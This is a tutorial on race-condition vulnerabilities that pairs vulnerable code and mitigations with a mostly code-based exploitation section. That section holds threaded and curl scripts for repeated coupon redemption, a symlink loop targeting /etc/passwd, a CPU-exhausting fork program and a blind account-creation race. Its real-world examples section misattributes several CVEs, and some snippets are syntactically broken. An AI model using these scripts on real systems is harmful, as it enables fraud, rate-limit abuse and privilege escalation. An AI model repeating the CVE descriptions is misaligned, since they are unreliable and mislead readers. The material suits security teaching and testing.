Introduction
Race conditions are security vulnerabilities that occur when the timing of events affects the correct operation of a system or application. They happen when multiple processes or threads access and manipulate shared data concurrently, and the final outcome depends on the specific order in which the operations are executed. Race conditions can lead to data corruption, application crashes, privilege escalation, or complete system compromise.
Types of Race Conditions
Time-of-Check to Time-of-Use (TOCTOU)
A TOCTOU race condition occurs when there’s a time gap between checking a condition (verification) and using the results of that check (use).
1
2
3
| 1. Program checks if a file exists (time-of-check)
2. Time delay occurs
3. Program uses the file, assuming it still exists or has the same properties (time-of-use)
|
Shared Memory Race Conditions
These occur when multiple threads or processes access and modify shared memory without proper synchronization.
1
2
3
4
5
6
7
8
9
10
11
| # Unsynchronized counter increment
counter = 0
def increment():
global counter
temp = counter # Read
temp += 1 # Modify
counter = temp # Write
# If two threads run increment() simultaneously,
# counter might only increment by 1 instead of 2
|
Atomicity Violation
When operations that should be executed as a single atomic unit are interrupted.
1
2
3
4
5
| # Should be atomic but isn't
def transfer_funds(from_account, to_account, amount):
if from_account.balance >= amount: # Check balance
from_account.balance -= amount # Debit
to_account.balance += amount # Credit
|
File System Race Conditions
1
2
3
4
5
| # Vulnerable shell script
if [ ! -f "/tmp/file" ]; then
echo "secret data" > /tmp/file # Create file with sensitive data
fi
chmod 600 /tmp/file # Set restrictive permissions
|
Web Application Race Conditions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| // Redeeming a coupon code that can only be used once
app.post('/redeem-coupon', (req, res) => {
const code = req.body.code;
// Check if code is valid
const coupon = db.findCoupon(code);
if (!coupon || coupon.redeemed) {
return res.status(400).send('Invalid or used coupon');
}
// Mark as redeemed
db.markCouponRedeemed(code);
// Apply discount
applyDiscount(req.user, coupon.value);
res.send('Coupon applied successfully');
});
|
Race Condition Attack Scenarios
Web Application Attacks
1. Account Balance Manipulation
1
2
3
4
5
| 1. User has $100 in account
2. User initiates multiple simultaneous withdrawals of $100
3. Application checks balance for each request before any are completed
4. All requests pass the validation check
5. Multiple withdrawals succeed, creating negative balance
|
1
2
3
4
| 1. One-time coupon code "DISCOUNT50"
2. User sends multiple simultaneous requests to redeem the code
3. Application validates code before marking it as used
4. Multiple requests get the discount
|
3. Rate Limiting Bypass
1
2
3
4
| 1. API limits users to 100 requests per day
2. Attacker makes multiple concurrent requests
3. Counter increments after request processing
4. Attacker bypasses rate limit
|
File Operation Attacks
1. Symlink Attacks
1
2
3
4
5
6
7
8
9
10
11
12
| # Target script that processes uploaded files
process_file() {
# Check if file exists in /tmp/uploads
if [ -f "/tmp/uploads/$1" ]; then
# Process file and move to permanent storage
cp "/tmp/uploads/$1" "/var/data/processed/$1"
}
}
# Attacker exploitation
ln -s /etc/passwd /tmp/uploads/malicious_file
# When process_file runs, it may copy /etc/passwd
|
2. Temporary File Exploitation
1
2
3
4
5
6
| # Vulnerable code creating temporary file
temp_file=$(mktemp /tmp/app.XXXXXX)
chmod 644 $temp_file
# ... time gap ...
echo "sensitive data" > $temp_file
chmod 600 $temp_file # Too late, content might have been read
|
Privilege Escalation
1
2
3
4
5
6
7
8
9
10
| // SUID binary with race condition
int main() {
if (access("/path/to/file", W_OK) == 0) { // Check if user can write
// User has permission, open file as privileged user
int fd = open("/path/to/file", O_WRONLY);
// Write to file with elevated privileges
}
}
// Between access() and open(), attacker replaces file with symlink to /etc/passwd
|
Exploitation Techniques
Multi-threading Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # Python script to exploit race condition in web app
import threading
import requests
url = "https://vulnerable-site.com/api/redeem-coupon"
data = {"code": "DISCOUNT50"}
headers = {"Cookie": "session=user_session_id"}
def exploit():
response = requests.post(url, json=data, headers=headers)
print(response.text)
# Create and start multiple threads
threads = []
for i in range(50):
t = threading.Thread(target=exploit)
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
|
Parallel HTTP Requests
Using Burp Suite Intruder
- Capture the request in Burp
- Send to Intruder
- Clear all payload positions
- Go to Options tab
- Set “Number of threads” to maximum (e.g., 20)
- Set “Request Engine” settings:
- Start attack with a single payload repeated multiple times
Using curl
1
2
3
4
5
6
7
8
| # Bash script for concurrent requests
for i in {1..50}; do
curl -X POST https://vulnerable-site.com/api/redeem-coupon \
-H "Content-Type: application/json" \
-H "Cookie: session=user_session_id" \
-d '{"code":"DISCOUNT50"}' &
done
wait
|
File System Race Condition Exploitation
1
2
3
4
5
6
7
| # Loop to win race condition against file creation
while true; do
ln -sf /etc/passwd /tmp/target_file 2>/dev/null
done
# In another terminal, monitor for success
tail -f /var/data/processed/target_file
|
Exploiting CPU Scheduling
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| // Creating artificial delays to increase race window
#include <unistd.h>
int main() {
// Fork many processes to consume CPU
for(int i = 0; i < 100; i++) {
if(fork() == 0) {
while(1) { /* Consume CPU */ }
exit(0);
}
}
// Launch exploit when system is under load
system("./exploit");
return 0;
}
|
Advanced Race Condition Techniques
Database Transaction Exploitation
1
2
3
4
5
6
| -- Transaction with potential race condition
BEGIN TRANSACTION;
SELECT balance FROM accounts WHERE id = 123;
-- Time delay occurs here
UPDATE accounts SET balance = balance - 100 WHERE id = 123;
COMMIT;
|
Distributed Race Conditions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # Using multiple machines to attack
import requests
from concurrent.futures import ThreadPoolExecutor
import socket
# List of attack machines
machines = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"]
def remote_attack(ip):
# Connect to remote attacker machine
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((ip, 4444))
# Signal to start attack
s.send(b"ATTACK")
# Coordinate distributed attack
with ThreadPoolExecutor(max_workers=len(machines)) as executor:
executor.map(remote_attack, machines)
|
Blind Race Condition Exploitation
When you cannot directly observe the outcome of the race:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| import requests
import time
from concurrent.futures import ThreadPoolExecutor
target_url = "https://vulnerable-site.com/api/create-account"
probe_url = "https://vulnerable-site.com/api/account-info"
def create_attempt(username):
data = {"username": username, "password": "Password123"}
return requests.post(target_url, json=data)
def check_success(username):
resp = requests.get(f"{probe_url}?username={username}")
return resp.status_code == 200
# Launch multiple creation attempts
username = "admin_account"
with ThreadPoolExecutor(max_workers=50) as executor:
executor.map(lambda _: create_attempt(username), range(50))
# Check if any attempt succeeded
time.sleep(2)
if check_success(username):
print("Race condition successfully exploited!")
|
Mitigation Techniques
Locking Mechanisms
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Python threading lock example
import threading
lock = threading.Lock()
counter = 0
def safe_increment():
global counter
with lock: # Acquire lock
temp = counter
temp += 1
counter = temp
# Lock is automatically released
|
Database Transactions & Isolation
1
2
3
4
5
| -- Serializable transaction to prevent race conditions
BEGIN TRANSACTION ISOLATION LEVEL SERIALIZABLE;
SELECT balance FROM accounts WHERE id = 123 FOR UPDATE;
UPDATE accounts SET balance = balance - 100 WHERE id = 123;
COMMIT;
|
Atomic Operations
1
2
3
4
5
6
7
8
9
10
11
| // Using atomic increment in MongoDB
db.collection.updateOne(
{ _id: userId },
{ $inc: { credits: -10 } } // Atomic decrement
);
// Compare-and-swap pattern
db.collection.updateOne(
{ _id: userId, credits: { $gte: 10 } }, // Check balance
{ $inc: { credits: -10 } } // Only update if check passes
);
|
Proper File Operation Sequence
1
2
3
4
5
6
7
8
9
10
11
12
| import os
import tempfile
# Safe temporary file creation
fd, path = tempfile.mkstemp()
try:
with os.fdopen(fd, 'w') as tmp:
# Write to already-created file descriptor
tmp.write('sensitive data')
# File already has restrictive permissions from mkstemp()
finally:
os.remove(path)
|
Idempotent Operations
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| // Idempotent API using a unique identifier
app.post('/api/payment', (req, res) => {
const { amount, idempotencyKey } = req.body;
// Check if this operation was already processed
const existingPayment = db.findPaymentByIdempotencyKey(idempotencyKey);
if (existingPayment) {
return res.json(existingPayment);
}
// Process new payment
const paymentResult = processPayment(amount);
// Store with idempotency key
db.savePayment(paymentResult, idempotencyKey);
return res.json(paymentResult);
});
|
- Burp Suite Turbo Intruder - Extension for high-volume request automation
- Race the Web - Tool specifically designed for race condition testing
- https://github.com/TheHackerDev/race-the-web
- OWASP ZAP - Can be used with scripts to test race conditions
Automated Analysis
- ThreadSanitizer (TSAN) - For detecting race conditions in C/C++/Go code
1
2
| # Compile with ThreadSanitizer
gcc -fsanitize=thread -g -O1 program.c -o program
|
- Java PathFinder - For finding concurrency issues in Java code
- Helgrind - Valgrind tool for detecting synchronization errors
1
| valgrind --tool=helgrind ./program
|
- Coverity - Commercial static analyzer with race detection
- Fortify - Can detect certain race conditions
- CodeQL - Supports race condition detection queries:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| import cpp
import semmle.code.cpp.dataflow.TaintTracking
class FileToctouVulnerability extends TaintTracking::Configuration {
FileToctouVulnerability() { this = "FileToctouVulnerability" }
override predicate isSource(DataFlow::Node source) {
exists(FunctionCall fc |
fc.getTarget().getName() = "access" and
source.asExpr() = fc.getArgument(0)
)
}
override predicate isSink(DataFlow::Node sink) {
exists(FunctionCall fc |
fc.getTarget().getName() = "open" and
sink.asExpr() = fc.getArgument(0)
)
}
}
|
Real-World Race Condition Examples
CVE-2022-26485: Firefox Race Condition
A race condition in Firefox allowed remote attackers to execute arbitrary code via crafted JavaScript. The issue was in the browser’s handling of certain DOM objects during garbage collection.
CVE-2020-15778: OpenSSH Race Condition
A race condition in OpenSSH’s SFTP server implementation could allow malicious SFTP clients to perform unauthorized file operations.
CVE-2019-11764: WordPress Race Condition
WordPress suffered from a race condition vulnerability in its installation process that could lead to privilege escalation.
Signal’s Account Creation Race Condition (2020)
Security researchers discovered a race condition in Signal’s account creation process that could allow attackers to hijack accounts by requesting multiple verification codes simultaneously.
HackerOne Race Condition (2016)
A security researcher discovered a race condition in HackerOne that allowed him to change the username of another user by sending multiple requests to update the username.
Best Practices for Prevention
- Design for Concurrency
- Identify shared resources early in design
- Document thread-safety requirements
- Use thread-safe data structures and patterns
- Follow Secure Coding Guidelines
- Use atomic operations where available
- Check then act pattern should be atomic
- Avoid time gaps between validation and use
- Use dedicated libraries for concurrent operations
- Transaction Management
- Use proper isolation levels
- Keep transactions short
- Implement retry logic for conflicts
- File System Operations
- Use secure temporary file creation
- Avoid symlink vulnerabilities with absolute paths
- Use file descriptors instead of paths when possible
- API Design
- Implement idempotency keys
- Use optimistic concurrency control
- Design stateless services where possible
References
- OWASP: Race Conditions
- PortSwigger: Race Conditions
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’)
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
- SANS: Race Condition Exploitation
- HackTricks: Race Condition